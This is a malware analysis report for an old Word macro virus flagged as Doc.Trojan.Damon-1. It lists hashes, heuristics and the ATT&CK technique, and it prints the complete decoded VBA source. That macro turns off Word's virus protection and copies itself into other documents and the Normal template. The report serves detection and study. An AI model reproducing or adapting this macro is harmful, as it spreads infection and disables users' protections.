Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 314d490b0a3e688d…

MALICIOUS

Office (OLE)

30.5 KB Created: 2000-02-03 08:45:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9d9cf1472ab2330c1c42f11854e70769 SHA-1: 77668d6de0e8d74eee51169f6e6a8ffaa854994c SHA-256: 314d490b0a3e688d72bc6f9f6415c8e78d7ea534f163188ab6b9e52a70f0265a
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malware execution in Office documents. The macro attempts to copy itself to other open documents or the Normal template, indicating a self-propagation or infection spreading behavior. The ClamAV detection 'Doc.Trojan.Damon-1' further supports the malicious nature of the file.

Heuristics 3

  • ClamAV: Doc.Trojan.Damon-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Damon-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1782 bytes
SHA-256: 3f32010ea91b39c3c78c70259ed8038b6426f1deb03463eb87db30bec85df3f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If Documents.Count > 1 Then
A = Int(Rnd * Documents.Count) + 1
If A > Documents.Count Then A = A - 1
If Documents.Item(A) = ThisDocument Then End
Set Target = Documents.Item(A).VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
Documents.Item(A).SaveAs FileName:=Documents.Item(A).FullName
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
ThisDocument.SaveAs FileName:=ThisDocument.FullName
Else
If ThisDocument = ActiveDocument Then
Set Target = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
ThisDocument.SaveAs FileName:=ThisDocument.FullName
End If
If ThisDocument = NormalTemplate Then
Set Target = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
Target.DeleteLines 1, Target.CountOfLines
Target.AddFromString TD
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
Set Host = ThisDocument.VBProject.VBComponents.Item(1).CodeModule
Host.DeleteLines 1, Host.CountOfLines
End If
End If
End Sub
'Nomad By Lys Kovick

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